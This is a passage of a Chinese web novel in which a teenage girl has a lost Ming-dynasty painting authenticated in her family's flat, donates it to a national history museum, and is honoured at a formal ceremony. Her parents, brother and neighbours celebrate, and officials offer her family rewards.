李秀兰倒完水,见闺女忙活,顺手递过去一块干净的干抹布,指尖碰了碰她的手背,无声递了个“放心,妈在”的眼神,便退到一旁,没往前凑添乱。 众人都自觉地放轻了脚步,围在桌子周围,连大气都不敢喘,屋里静得只能听见李秀兰轻手轻脚归置东西的声响。 等一切收拾妥当,时墨才转身进了自己房间。再出来时,手里捧着个木匣。 客厅里,所有人自动让出一片空地。 李秀兰站在角落,没有凑上去,只是安静地看着。 宋正先接过木匣,没有立刻打开,而是先端详了片刻匣子的木质和做工,然后才轻轻掀开盖子。 宋正先的手稳得惊人,指尖捏着画轴的天杆,缓缓展开。 先是一角泛黄的绢本露出来,带着岁月沉淀下来的暗哑光泽,随即,山石的轮廓、秋树的枝桠一点点铺展开来。 秋山,繁林,溪流,屋舍。 六百年时光凝固在那一方绢帛上。 屋里静得能清晰听到隔壁炒菜聊天声。 宋正先表情严肃,眉头微蹙,俯下身,眼睛几乎贴在画面上。 他从随身带的布包里掏出放大镜,贴着绢面,一寸一寸地扫过山石的画法、树叶的点染;等看到中段的云水留白,他的呼吸明显顿了一下,拿着放大镜的手微微发颤,连带着指尖都泛了白;等画卷完全展开,看到右下角那处被磨去、却依旧能看出浅淡痕迹的题跋印鉴时,他猛地摘下老花镜,凑到窗边,借着自然光反复看了许久,又掏出软毛刷,极轻极轻地扫过绢面的纹理,动作小心得像在触碰初生的婴儿。 五分钟。 十分钟。 二十分钟。 屋里没人敢出声。 孙老和唐老师懂行,凑在旁边看着,脸上满是紧张,连嘴都抿成了一条线;陈老盯着画卷,嘴里不停低喃着“不得了,这笔法,这气韵”;吴校长和周所长虽然不懂书画,也被这氛围压得不敢出声。 方记者举着相机,快门都不敢按,怕那“咔嚓”声惊着这位老人。 忽然,宋正先直起腰,摘下放大镜。 他的眼眶有些发红,用衣角擦了擦镜片,又擦了擦眼角,半晌没说话。 孙老忍不住了,声音都发紧:“老宋,怎么样?到底……是不是?” “老孙。”他的声音微微发颤,指着画面左下角一处极淡的痕迹,“你看这儿。” 孙老凑过去,眯着眼看了半天:“这是……?” “水渍遮盖了,但仔细看,能看见‘唐周’二字的残笔。”宋正先的手指悬在画面上方,不敢触碰,“还有这方印,只剩四分之一,但印文风格,是唐周惯用的‘石田’朱文印。” 他直起身,目光落在时墨身上,复杂得像一潭深水。 “小姑娘,你知不知道,你拍回来的是什么?” 时墨迎着他的目光,语气平静:“唐周的《繁秋山野图》。” “你确定?” “我猜的。”时墨故作轻松道,“现在您确定了。” 宋正先愣了一下,随即哈哈大笑。那笑声在逼仄的客厅里回荡,惊得窗外的麻雀扑棱棱飞走了。 “好!好!好!”他连说了三个好字,转向孙老,“老孙,你跟我说这姑娘眼力毒,我还不信。现在我信了!” 他又看向那幅画,脸上的笑容渐渐收敛,取而代之的是凝重。 “这幅画是真迹……”他顿了顿,声音里带着难以抑制的激动“唐周的《繁秋山野图》,传世仅此一件。自明末战乱就失传了,《石渠宝笈》里只录了名字,连拓本都没留下来。我们找了几十年,都以为它已经毁了,没想到……没想到,今天能在这里见到未损毁的真迹!这是国宝,是能改写明代吴门画派研究史的国宝!” “轰”的一声,屋里像炸开了锅。 吴校长腿一软,差点靠在墙上,呼吸急促,连说了两遍“我的老天爷”。 他只知道时墨这孩子不简单,却没想到,她手里竟然握着一件国宝! 周副所长和陈老面面相觑,他们本来以为那套《济世良方辑要》已经是难得的珍品,现在才知道,在这幅画面前,那套医书根本不够看。他们虽然不懂书画,但“传世仅此一件”意味着什么,他们懂。 方记者手里的笔直接掉在了本子上,她瞬间就反应过来——这不是校园新闻,这是能上全国头版头条的大新闻!失传三百年的国宝重见天日,还是一个十八岁的中学生发现、并准备捐赠的,这题材,简直是独一份! 她一把抓住小李的胳膊,声音发紧:“拍!快拍!这是大新闻!” 小李手抖得对不准焦,快门按了好几下才听见“咔嚓”声。 李秀兰听到这话,手顿了一下,目光落在那幅旧画上。她看了几秒,没出声,只是把水壶轻轻放在旁边的矮柜上,脚步极轻地走到时墨身后半步的位置站定——别人看的是画,她守的是自家闺女。 只有时墨,安安静静站在一旁,脸上没有惊讶,没有激动,只是静静看着那幅画,像看一位老友。 宋正先注意到了。 他盯着时墨看了好几秒,忽然问:“你早就知道?” 时墨没有否认,只是微微点头。 “那你打算怎么办?” 时墨抬起头,认真道:“捐给国家。” 这话像一颗石子投进湖里,激起千层浪。 “捐了?!”老陈第一个叫出来,“小墨同志,你知道这画值多少钱吗?” “知道。”时墨说。 “那你……” “陈老。”时墨打断他,语气依旧平静,“这画在我手里,就是个锁在柜子里的秘密。只有到了国家手里,才能让所有人都看见它。” 她顿了下,随即笑道:“我买它花了六百块,已经值了。” 屋里静了一瞬。 宋正先看着她,眼神里有什么东西在慢慢变化。那是他从医书捐赠现场一路看到现在,终于拼凑完整的画面——这姑娘不是运气好,不是眼力毒,她是心里有一杆秤,知道什么东西该放在什么地方。 李秀兰在旁边听着,忽然伸手拍了拍女儿的肩膀,没说话,只是轻轻点了下头。 “好。”宋正先沉声道,“那我就不废话了。这幅画,我代表历史博物馆,正式向你表示感谢。” 他站起身,对孙老说:“老孙,你看住画,谁都别动。我去打电话。” “去哪儿打?” “你们厂里有没有电话?”宋正先看向时墨。 时墨摇头:“家属院没有,得到厂部传达室。” “那我去厂部。”宋正先说着就往外走,走到门口又回头,“老孙,在我回来之前,谁都不许碰这幅画。记者也别拍细节,拍了也不能发,等我带人来!” 第30章 方记者赶紧点头:“明白明白, 等您回来再拍!” 宋正先推门出去,脚步声匆匆消失在楼道里。 屋里再次陷入安静。 屋里的人还没从震惊里缓过来,围着桌子, 看着那幅画卷, 眼神里满是敬畏, 谁都不敢伸手碰一下。 方记者挤到时墨身边, 语气激动道:“时墨同学,你……你真的打算把这幅国宝也捐赠给国家吗?” 时墨笑得坦然:“嗯。和那套医书一样,这是老祖宗留下的东西,放在博物馆里,让专家研究, 让老百姓能看到, 才能发挥它的价值。放在我手里,除了藏着, 什么用都没有, 反而糟蹋了宝贝。” 吴校长在旁边听得满脸红光,不停跟身边的周所长念叨:“你看看!你看看!这就是我们学校的学生!才十八岁!这份觉悟!这份胸襟!” 这话一出, 屋里几个人都笑了, 气氛松快了些。 等众人的惊叹声稍落, 李秀兰伸手拉了拉时墨的胳膊, 把人带到卧室门口的僻静处, 声音压得低,严肃道:“墨墨,你跟妈交个底, 这画真是你六百块收的?刚才宋老说的,都是真的?” “是真的,妈。”时墨点头。 李秀兰盯着闺女看了两秒, 忽然抬手拍了拍时墨的肩膀,眼里亮得惊人,全是压不住的骄傲:“行,我闺女有眼光,有胸襟。你想捐,妈百分百支持你,咱们家没一个拖你后腿的。六百块换一件国宝归了国家,值当!” 孙老坐在画旁边,像一尊门神,眼睛一刻不离那幅画。老陈和唐老师一左一右,三人呈三角之势,把那张饭桌护得严严实实。 周副所长凑到时墨跟前,压低声音道:“时墨同学,你这一捐,可是了不得的大事。明天报纸一登,全国都知道你了。” 时墨谦虚道:“周所长过奖了,我只是做了该做的事。” 陈老也走过来,握着她的手,眼眶泛红:“小同志,我今天算是开了眼了。医书、古画,你这一出手,比我们这些老头子折腾一辈子都强。” “陈老您言重了,可不能这么说。”时墨连忙摆手,“我哪比得上您们为了国家奉献终身的辛苦。” 小李在旁边急得团团转,相机举了又放,放了又举,嘴里念叨着:“太可惜了,太可惜了,这么大的新闻,只能干等……” “急什么。”方记者倒是稳得住,“等宋老回来,正式接收的时候,那才是大场面,你刚才拍的可不能先流出去。” “放心,这事儿咱不能干。” 正说着,门外传来嘈杂声。 时墨从窗户望出去,只见楼下已经围了一圈人,都是下班回来的家属院邻居。有人踮着脚往楼上张望,有人交头接耳议论纷纷,还有人扯着嗓子喊:“老时家出啥事了?来了这么多车!” “坏了。”李秀兰一拍大腿,扫了眼窗外,“这点下班了,院里这些人都陆续回来了,他们眼睛尖着呢。” 果然,没一会儿,敲门声就响了起来。 “秀兰在家吗?我家老张说看见你家来了好些人,楼下这又停了好些车,出啥事了?” 时墨刚要动,李秀兰先给她递了个眼色,嘴型无声说了句“你顾着画,这边我来”,转身就迎了上去,拉开门的同时脸上已经带了熟络的笑。 门一开,邻居王大妈第一个挤进来,后面跟着刘婶、赵大爷、小媳妇大姑娘,呼啦啦涌进来四五个,把本来就挤的客厅塞得水泄不通。 “哎哟我的天,这么多人!”王大妈一眼看见饭桌上的画,还有围在旁边的三个老头,“这是干啥呢?开啥会呢?” “王姐,刘婶,赵大爷,快进来坐!”李秀兰侧身让众人进来,没等大家追问,先大大方方把话撂了出来,分寸拿捏得刚刚好,“没啥大事,就是我家墨墨之前收了幅老字画,今天国家博物馆的专家过来鉴定,说是个有年头的老物件,孩子打算捐给国家,专家们过来办手续。” 刘婶眼尖,指着方记者手里的相机:“那这照相的是干啥的?” “这两位是报社的记者同志,过来记录一下这事,回头还要登报呢!”李秀兰笑着接话,顺势给方记者递了个眼神,“同志,要不您给他们也拍一张?都是老街坊了。” 方记者很配合地举起相机,对着王大妈“咔嚓”一下:“大妈您笑得真好看,我再给您拍一张!” 王大妈立刻被转移了注意力,连忙整理衣襟:“哎哟哎哟,我这头发乱不乱?小伙子,要不我回去换套衣服,你再给我来一张。” “可以可以。” 李秀兰在旁边笑着搭腔:“王姐快理理你那刘海,这可是难得上报纸的机会,拍出来漂漂亮亮的,回头让你老家的亲戚都看看,多有面儿!” 屋里气氛顿时活络起来。 又有人敲门,这回是楼下的李大爷。 “爱国呢?还没下班?”李大爷探头探脑,“我听说来了一排小轿车,还以为你家出啥大事了。” “没事没事,李大爷,就是几个文博系统的同志过来办公事。”李秀兰笑着应下,“爱国今天厂里加班,晚点回来。” 李大爷看着屋里那群明显不是普通人的面孔——宋老那身中山装,陈老那副老花镜,孙老那股子派头,还有周副所长的干部相——眼神狐疑,“你这专家都挺有派头啊。” 方记者又开始拍照,这回对准的是李大爷:“大爷您站好,我给您拍一张!” 李大爷立刻挺直腰板,脸上堆满笑。 就这样,一波又一波邻居涌进来,李秀兰始终笑脸相迎,三言两语就把事情说清楚,既不藏着掖着惹人猜疑,也不说太多细节惹麻烦,轻轻松松就把场面稳住了。 可人越来越多,眼看楼道里都站满了人,李秀兰怕人多出事,便站在门口,脸上依旧带着笑,说话带着纺织厂车间班长那股子利落劲儿,不软不硬却有分量:“各位街坊邻居,谢谢大家这么关心!不过屋里地方实在太小,专家们还在守着老物件忙正事,怕挤着碰着了不好交代。大家先在楼道里稍等会儿,等正事办完了,我再挨个儿跟大家细说,行不行?麻烦大家多体谅了!” 她在家属院住了人缘好,说话又有分寸,众人一听这话,果然都不再往屋里挤,乖乖在楼道里等着,议论声也小了不少。 “听说老时家闺女得了宝贝?” “不是得了,是买的,六百块!” “六百块买个破画?疯了吧?” “破画?你没看见那三个老头跟供祖宗似的供着那画吗?那能是破画?秀兰多精明的人,能让她闺女吃亏?” 议论声此起彼伏,楼道里嗡嗡嗡一片。 就在这时,楼下传来汽车喇叭声。 时墨从窗户望出去,只见两辆绿色吉普车停在楼下,车门打开,下来五六个人,有穿制服的,有穿中山装的,还有两个捧着木箱的年轻人。 打头的正是宋正先。 “来了来了!”屋里一阵骚动。 孙老腾地站起来,对时墨道:“小墨,准备交接了。” 时墨点点头,深吸一口气,走到饭桌旁。 楼道里的人群自动让开一条路。宋正先领着人上来,身后那几个穿制服的步伐沉稳,一看就是干这行的。 “小墨。”宋正先走到她面前,神情郑重,“这位是历史博物馆的刘副馆长,这位是国家文物局的刘处长。我们着急赶过来,就是为这幅画。” 刘副馆长上前一步,握住时墨的手,目光里满是感慨:“时墨同志,我代表历史博物馆,向你表示最诚挚的感谢。这幅画我们找了几十年,今天终于……终于……” 他说不下去了,眼眶泛红。 刘处长也握着她的手,声音发紧:“小同志,你放心,这幅画我们会用最专业的方式保管,绝对不会让它再有任何闪失。” 时墨点点头,侧身让开,露出饭桌上那幅画。 “那就交给您们了。” 刘副馆长走到画前,俯身凝视,久久没有直起腰。那两个年轻人打开木箱,取出白手套、无酸纸、专用卷轴盒,动作专业而轻柔。 屋里静得能听见呼吸声。 方记者终于等到了这一刻,快门声“咔嚓咔嚓”响成一片。小李举着笔记本,笔尖飞快地记录。 邻居们挤在门口、趴在窗户上,眼睛瞪得溜圆,看着那幅旧画被小心翼翼地卷起,放进那个精致的木盒里。 “我的天……”王大妈喃喃道,“这到底是啥宝贝啊?” 刘副馆长直起身,转向门口那些围观的人群,声音洪亮:“各位街坊邻居,时墨同志,意外发现了明代国宝《繁秋山野图》,并愿意无偿捐赠给国家。时墨同志的高尚品德,值得我们所有人学习!” 楼道里静了一秒,随即爆发出雷鸣般的掌声。 王大妈第一个冲到时墨跟前,拉着她的手,激动得语无伦次:“墨墨啊,你、你可太了不起了!咱家属院出了个大英雄!” 刘婶也挤过来:“我就说这闺女从小就不一样!你看看,你看看,这叫什么来着?对,慧眼识珠!” 赵大爷在旁边插嘴:“你那会儿还说她‘天天看书看傻了’呢!” “我什么时候说过?你净瞎说!” 哄笑声中,时墨被邻居们围在中间,脸上始终带着浅浅的笑。 李秀兰站在人群外围,看着被众人围着的闺女,嘴角的笑就没下去过,眼眶微微发热,却硬是没让眼泪掉下来——她闺女出息了,她该高兴,该撑住场面。 方记者举着相机,对准这一幕,“咔嚓”拍下。 她知道,明天的报纸头版,有着落了。 刘副馆长和刘处长办完交接手续,将一张盖着公章的收据郑重交到时墨手中。收据上写着:今收到时墨同志无偿捐赠唐周《繁秋山野图》真迹一卷。 “时墨同志,明天上午十点,我们在历史博物馆举行正式捐赠仪式,届时会有更多媒体到场。”刘副馆长说,“今天太晚了,这画我们就先带回去入库。你放心,一路都会有专人护送。” 时墨点头:“好,明天我一定准时到。” 送走刘副馆长一行人,已经是晚上七点多。 方记者和小李直接被邻居们围住了,大家七嘴八舌地跟记者说时墨的好话,从她小时候懂事不惹事,说到她学习好、孝顺父母,恨不得把时墨从小到大的好事都跟记者说一遍,素材直接堆成了山。 “我们刚才的采访有没有落下的,我们可以补!” “明天报纸真的会登吗?登第几版?” “对对,把我拍好看点。” 时墨站在人群外围,看着这热闹的一幕,嘴角微微扬起。 李秀兰走过来,手里端着一杯温水递给女儿,心疼道:“忙了一下午,快喝点水润润嗓子。” 见时墨接过杯子喝了一口,她靠在橱柜上,看着闺女,忍不住笑着戳了戳她的胳膊:“行啊你这丫头,藏得够深的,这么大的事,愣是一点口风没跟妈露。” 说着又收了笑,语气里全是骄傲:“不过妈真为你高兴,我闺女,有出息,有格局,没给咱们家丢脸。”说着叹了口气,“可惜你爸和你哥今天厂里加班没赶上这大场面。” “等他们晚上回来,我可得原原本本跟他们好好说说,让他们也惊一惊。明天的捐赠仪式,咱们一家四口都去,我等会儿就把你爸过年才穿的那身中山装找出来,咱们穿得整整齐齐的,给我闺女撑场面去!”【..top】 30-40 第31章 夜里九点多, 家属院的路灯都亮了大半,时爱国和时建军才踩着点进了楼道。父子俩一身机油混着铁锈的味道,肩上还搭着沾了油污的工装手套, 刚推开家门, 就被客厅里还没归置整齐的凳子、一摞空水杯惊了一下。 “这是咋了?家里来客人了?”时爱国把工装往门后挂钩上一挂, 眉头先皱了起来, “不是说今天去学校办医书捐赠的事?怎么闹了这么大阵仗?” 时建军也凑过来,一脸好奇:“我妹呢?没出啥事吧?” “能出啥事?出天大的好事了!”李秀兰拉着父子俩就往桌边坐,眼睛亮得跟装了灯泡似的,“你们俩今天加班,可是错过了咱们家属院建院以来最大的场面!” 她拉着人坐定, 先给两人各倒了杯温水, 才从下午宋正先上门、一屋子人跟着回家、鉴定出失传三百年的国宝《繁秋山野图》,到时墨当场决定捐赠、博物馆领导带着安保上门交接、邻居围了半栋楼的事, 原原本本、绘声绘色地讲了一遍。连宋老鉴定时手都抖了、吴校长激动得差点摔了跟头、王大妈他们围着要上报纸的细节, 都半点没落下。 温水放到手边,时爱国愣是一口没喝, 手里夹着的烟卷都烧到了滤嘴, 烫得他猛地一哆嗦, 才回过神来, 声音都发紧了:“你……你说啥?墨墨花六百块收的那幅画, 是……是国宝?还是失传了几百年的那种?” 旁边的时建军直接“嚯”地一声站了起来,椅子在水泥地上蹭出刺耳的声响:“我妹,我妹太牛了吧!六百块捡了个国宝?还要捐给国家?” “喊什么喊, 吓着你妹!”李秀兰把人拉下坐好,嘴角的笑却压都压不住,“你妹在屋里写明天捐赠仪式的发言稿呢, 别去闹她。” 时墨听见动静,推开门走了出来,靠在门框上笑着喊了声“爸,哥”。 时爱国看着闺女,这个他从小看着长大的丫头,才十八岁,脸上半点骄矜都没有,还是那副从容淡定的样子,他忽然就红了眼眶,抬手重重拍了拍时墨的肩膀,声音带着点沙哑,却掷地有声:“好!好闺女!爸没白教你!这事你做得对!咱们老时家,不贪那意外之财,能给国家做点贡献,是咱们的荣耀!” “就是!”时建军凑过来 ,一把揽住时墨的肩膀,笑得一脸灿烂,“我妹就是厉害!不光学习好,眼光还这么毒!以后我出去,都能跟人吹,我妹是给国家捐国宝的人!太给咱们家长脸了!” 时墨被父子俩夸得有点不好意思,笑着摆手:“就是运气好,碰上了而已。” “运气也是给有准备的人的!”时爱国瞪了她一眼,语气却全是疼爱,“明天的捐赠仪式,你别紧张,该说什么说什么,咱们不卑不亢,就按你心里想的来,爸和你哥、你妈,都给你撑场面去!” “那必须的!”时建军立刻接话,“明天我把我那身新涤卡上衣穿上,保证站得笔直,不给我妹丢人!” 李秀兰笑着戳了他一下:“就你话多。赶紧的,都别围着了,我去给你们热饭,吃完了赶紧挑明天穿的衣服,都给我穿得利利索索的,别给咱们墨墨掉链子!” 晚饭过后,一家四口挤在卧室里,翻箱倒柜地挑衣服。 李秀兰先把时爱国过年才舍得穿的那身深蓝色中山装找了出来,仔仔细细熨了一遍,连领口的褶皱都抚平了;又给儿子翻出他攒了三个月工资买的藏蓝色涤卡上衣,还有一条崭新的的确良裤子,逼着他试了又试,直到看着合身才罢休。 轮到时墨,李秀兰翻出了两件衣服,一件是月白色的的确良衬衫,配一条藏青色的西装裤,还有一件是过年时给她做的浅灰色布拉吉,犹豫着问:“墨墨,你看穿哪件合适?既要正式,又不能太扎眼,你还是学生。” 时墨拿起那套白底碎花衬衫和西装裤,笑着说:“就穿这个吧,简单大方,也符合学生的身份。” “行,就这个。”李秀兰点点头,把衣服叠好放在床头,又叮嘱道,“明天妈给你梳个利落的马尾,精神。见了领导别慌,该打招呼打招呼,有你爸和孙老他们在,天塌不下来。” “知道了妈。”时墨看着一家人忙前忙后,心里暖烘烘的。 窗外的月光透过玻璃洒进来,落在一家人身上,满是温馨。 * 第二天一大早,天刚蒙蒙亮,时家就忙活开了。 李秀兰五点就起了床,把昨晚就熨好的衣服又拿出来检查了一遍,穿上一身藏青色涤卡外套,头发梳得一丝不苟,用发卡别得整整齐齐。 “墨墨呢?”时爱国整理完问道。 “屋里换衣服呢。”李秀兰朝女儿房间努努嘴。 正说着,时墨推门出来。 她穿了一件白底碎花的衬衫,外面套着天蓝色针织开衫,头发扎成高高的马尾,露出光洁的额头。整个人干净、清爽,又带着点这个年纪女孩少有的沉稳。 “哟!”李秀兰眼睛一亮,“我闺女这么一打扮,比电影明星还俊!” 时建军在旁边啃馒头,含糊不清地附和:“那是,我妹什么时候都好看。” 时爱国看着女儿,心里又骄傲又有点酸——闺女长大了,出息了,今天要去那么大的场合了。 “爸,妈,你们也快吃饭。”时墨坐到桌边,“不是说好了早点出门吗?” 一家人围坐在一起,吃着李秀兰早起熬的小米粥、烙的葱油饼。没人提紧张,但气氛跟往常不一样——每个人心里都揣着事,筷子动得都比平时快。 “爱国,你跟厂里请好假了?”李秀兰问。 “请好了,昨晚上就去车间主任家打了招呼。”时爱国放下筷子,“主任一听是这事,拍着胸脯说‘去!必须去!咱厂里的闺女出息了,这是光荣事!’还说要给我爷俩算公假。” 一家人正说着,楼下传来汽车喇叭声。 “这么早?”李秀兰起身往窗外看,只见一辆八成新的小面包车停在楼下,孙老正从车里探出头来。 时墨放下碗:“孙老来了,咱们下去吧。” 一家人赶紧收拾,锁好门下楼。 孙老一见他们,笑呵呵地迎上来:“我怕你们坐公交不方便,特意找了辆车,咱们直接过去,省得路上耽误时间。” 时爱国有些不好意思:“孙老,您太客气了,我们自己坐公交去就成。” “那哪行?”孙老一摆手,“今天什么场合?公交车多耽误事。快上车,路上我跟你们说说流程。” 一家人钻进车里。面包车虽然旧,但收拾得干干净净,司机是个沉默的中年人,冲他们点点头,稳稳发动了车子。 孙老坐在副驾驶,回过头来:“小墨,今天这阵仗可不小,我先给你们透个底,免得到时候慌。” 时墨点头:“孙老您说。” “流程是这样的:到了博物馆,先有个简短的欢迎仪式,签到后跟各位领导见个面,然后仪式正式开始,先是主持人开场,然后宋老讲这幅画的文物价值,接着文物局领导讲话,然后是你上台发言,之后就是捐赠证书交接、授锦旗,最后是媒体采访。” 时墨认真听着,不时点头。 孙老又补充道:“发言不用太长,就按你自己的想法说,不用讲空话套话,真诚就好。采访的时候要是有不想答的,就推给我或者宋老,我们给你兜着。” “谢谢您孙老,我记住了。” 旁边的时爱国和李秀兰,听得手心都开始冒汗了,夫妻俩对视一眼——他们哪见过这阵仗? 时建军悄悄凑到时墨耳边:“妹,你紧张不?” “还好。”时墨轻声说,“哥,你就当是去开大会,坐稳了就行。” “……”时建军挺直僵硬的背点点头。 面包车穿过清晨的街道,越往市中心开,路上的车和人越多。约莫半个小时,车子停在历史博物馆门口。 “到了。”孙老说。 车刚停稳,时家人往窗外一看,瞬间都愣住了,连呼吸都顿了半拍。 博物馆门口挂着几米长的红色横幅,上面烫金的大字格外醒目——“热烈庆祝国宝《繁秋山野图》入藏暨时墨同志捐赠仪式”。 正门前,已经站了几十号人。最显眼是扛着相机、拿着录音笔的记者黑压压一大片,还有穿着中山装、戴着眼镜的专家学者模样的人,三三两两聚在一起交谈。有不少闻讯赶来的文博界学者、凑热闹的市民,围得里三层外三层。 时爱国的手下意识攥紧了裤缝。 李秀兰的呼吸都变轻了。 时建军咽了口唾沫,小声嘟囔:“我的个老天爷……” 孙老笑呵呵地拉开车门:“下车吧,愣着干啥?” 时墨吐出一口气,率先下了车。 她刚站定,记者群就骚动起来。 “来了来了!” “就是那个小姑娘?” “这么年轻?真的假的?” 闪光灯“咔嚓咔嚓”响成一片,晃得人眼睛发花。有记者已经冲过来,话筒举到面前:“时墨同志,请问你是怎么发现这幅画的?”“你为什么决定捐给国家?”“你今年多大了?” 时墨还没来得及回答,宋正先已经大步走了过来,身后跟着几个气度不凡的老者。 “小墨!”他笑着伸出手,“可把你等来了!” 时墨握住他的手,礼貌地叫了声:“宋老好。” 宋正先点点头,转向旁边的几位老者,一一介绍:“这位是国家文物局的陈局长,这位是□□的王副部长,这位是我们博物馆的周馆长,这位是文物鉴定委员会的韩老……” 时墨挨个问好,态度不卑不亢,落落大方。 几位领导看着她,眼神里都带着欣赏。 “时墨同志,你的事迹我们昨晚就知道了。”陈局长握着她的手,语气郑重,“小小年纪,能做出这样的决定,了不起!” 时墨微微欠身:“陈局长过奖了,这是我应该做的。” 王副部长在旁边笑道:“老陈,别光顾着夸,咱们进去说?” “对对对,进去说进去说!” 一行人往博物馆里走。 时墨回头看了眼家人——时爱国正被几位领导围着握手,脸上的表情既激动又拘谨,但腰板挺得笔直;李秀兰站在他旁边,笑得得体,只是攥紧提包的手露出她此刻的紧张感;时建军被一位工作人员领着,脸涨得通红,但努力装出镇定的样子。 时墨这才放下心。 博物馆的大厅今天布置得格外庄重。正前方是一张铺着红丝绒的长桌,桌上放着一个精致的展柜,《繁秋山野图》已经静静地躺在里面,被柔和的灯光照着。 大厅里已经坐满了人,前排是各位领导、文博界的泰斗,后面是邀请来的全国各大主流官方媒体的记者。时墨甚至认出了其中几张电视新闻里见的人物。 时墨一家人被领到前排就坐,刚坐下,旁边的宋正先就凑过来,笑着跟时墨说:“别紧张,按咱们之前说的来就行。” 时墨点点头,轻声道:“您放心,我没问题。” 上午十点整,捐赠仪式正式开始。 主持人走上台,声音洪亮地开场,先介绍了到场的各位领导和嘉宾,然后详细讲述了《繁秋山野图》的历史价值——明代吴门画派代表人物唐周的传世孤品,失传近四百年,《石渠宝笈》仅录其名,连拓本都未曾流传,具有极高的历史、艺术和文物价值,属于国家一级文物,应永久禁止出境展览。 台下瞬间响起雷鸣般的掌声,所有人的目光,都落在了前排的时墨身上。 接下来,宋正先走上台,他拿着话筒,详细讲述了这幅画的鉴定过程,说到激动处,声音都微微发颤:“我搞了一辈子书画鉴定,找了这幅画找了几十年,都以为它已经毁于战火了。没想到,竟然被一个十八岁的小姑娘,从旧货市场里找了回来,还无偿捐赠给了国家。时墨同志,不光有一双识宝的慧眼,更有一颗为国藏宝的赤子之心,这份胸襟,这份格局,值得我们所有人学习!” 台下再次响起掌声,比刚才更热烈。 然后是文物局的陈局长上台,从国宝的价值讲到时墨的义举,从文物保护的意义讲到青年一代的责任,还宣布了国家对时墨同志的表彰决定。 终于,轮到了时墨上台发言。 主持人笑着说:“接下来,让我们用最热烈的掌声,欢迎国宝《繁秋山野图》的捐赠者,时墨同志上台发言!” 第32章 雷鸣般的掌声瞬间响彻整个大厅, 时墨站起身,整理了一下衬衫的领口,从容不迫地走上台, 接过话筒。 台下的李秀兰紧紧攥着时爱国的手, 眼眶都红了, 时爱国手拍得通红, 时建军使劲鼓掌,一脸激动地看着台上的妹妹。 时墨站在话筒前,看着台下黑压压的人群,镜头和目光,脸上没有半点慌乱, 声音清亮而坚定, 透过话筒传遍了整个大厅: “各位领导,各位前辈, 大家好。我是时墨, 是一名普通的高三学生。” “很多人问我,为什么愿意把价值连城的国宝, 无偿捐赠给国家。其实答案很简单。这幅画, 不是我个人的私产, 是我们老祖宗留下的文化瑰宝, 是属于整个国家、整个民族的财富。它在我手里, 只能是锁在柜子里的一幅画,没有人能看见它的美,没有人能研究它的价值, 时间久了,甚至可能再次损毁、失传。” “只有把它交给国家,放在博物馆里, 让所有老百姓都能看见它,让专家学者能好好研究它,让六百年前的笔墨风骨,能被一代又一代人看见,它才算真正活了过来,才算有了最好的归宿。” “我只是做了一件每个华夏人都会做的事,尽了一点微薄的力量。谢谢大家。” 话音落下,全场先是静了一秒,随即爆发出排山倒海般的掌声,经久不息。 台下的领导们纷纷点头,眼里满是赞许,宋正先更是用力地鼓着掌,笑得一脸欣慰。 这个十八岁的小姑娘,没有半句空话套话,没有半点骄矜自满,简简单单的几句话,却掷地有声,格局尽显,让在场所有人都刮目相看。 接下来是捐赠交接仪式。 时墨走到台前,在铺着红丝绒的长桌前坐下。 工作人员递上两份文件——一份是捐赠协议,一份是接收证明。 时墨拿起笔,在每一页上工工整整签下自己的名字。 签字的时候,闪光灯就没停过。 时墨的手很稳,一笔一划,写得很慢,像是在完成一个郑重的承诺。 签完最后一笔,她站起身,把文件双手递给对面的周馆长。 周馆长双手接过,又将一本烫金的捐赠证书、一面写着“文物保护功勋 爱国青年典范”的锦旗,郑重地交到了时墨手里。眼眶有些发红:“时墨同志,我代表历史博物馆,向你表示最诚挚的感谢。这幅画,我们会用生命来守护。” 时墨郑重地点了点头。 仪式的流程走完,领导们专门在贵宾室见了时墨一家人,正式宣布了国家给时墨的三项奖励。 陈局长清了清嗓子,神情郑重:“时墨同志,你为国家捐赠了这么珍贵的国宝,国家不会忘记你的贡献。我们跟教育部、还有你父母和哥哥的单位商量过了,给你准备了三项奖励,你听听看。” 他从工作人员手中接过一份文件,念道: “第一,授予时墨同志‘国家文物保护特殊贡献者’荣誉称号,颁发荣誉证书和奖章。” 工作人员端着一个托盘上来,上面放着一本大红封皮的证书和一枚金灿灿的奖章。时墨双手接过,闪光灯又是一阵狂拍。 “教育部特批,保送你进入首都大学历史系或者文博系,免试入学,学费全免。 这话一出,一旁的时爱国和李秀兰都屏住了呼吸。首都大学,那是全国顶尖的学府,多少人挤破头都考不上,现在竟然直接保送! 可时墨却微微摇了摇头,语气诚恳却坚定:“谢谢领导,谢谢教育部的好意。但是这个保送名额,我不能要。” 全场都愣了一下,连陈局长都有些意外:“哦?为什么?” “我今年就要参加高考了,我的成绩在学校一直是年级第一,我有信心凭自己的本事考进首都大学。”时墨笑了笑,语气坦然,“这个保送名额,是国家给的珍贵机会,应该留给更需要、更符合条件的同学,我不能因为捐了一幅画,就占用这个名额。等我凭自己的成绩考进首都大学,再踏踏实实去读书,心里也踏实。” 这话一出,在场的领导们都愣住了,随即纷纷点头,眼里满是赞许。 宋正先更是哈哈大笑,拍着大腿说:“好!好!有志气!我就知道,这丫头不一般!” 直到这时,大家才知道,这个捐了国宝的小姑娘,不光有眼光有格局,学习成绩还这么优异,根本不是靠捐赠走捷径的人,心里更是佩服。 陈局长愣了几秒,随即笑着点头:“好!有骨气!我们尊重你的决定!那我们就等你高考的好消息!” 刘局长继续道:“第二项奖励,给予时墨同志的父亲时爱国同志、母亲李秀兰同志所在单位,各记大功一次,并纳入今年的评优优先考虑。” 时爱国和李秀兰对视一眼,都有些不好意思,连忙站起来鞠躬致谢。 “第三,给予时墨同志的兄长时建军同志,一个正式的工作编制。经我们与国家机械工业部协商,时建军同志可以直接进入首都机械研究所,成为正式职工。” 时建军腾地站起来,脸涨得通红,连连摆手:“不不不,这不行!我妹妹捐画,是她的心意,这跟我没关系,我不能要!” 时墨心里一动。 她看向哥哥——时建军平时话不多,但人踏实肯干,从小就对机械感兴趣,家里的收音机、手表坏了都是他修。首都机械研究所,那是全国顶尖的科研单位,如果哥哥能进去…… “哥。”她轻声叫了一句。 时建军看向她,拼命摇头,嘴型无声地说“不行不行”。 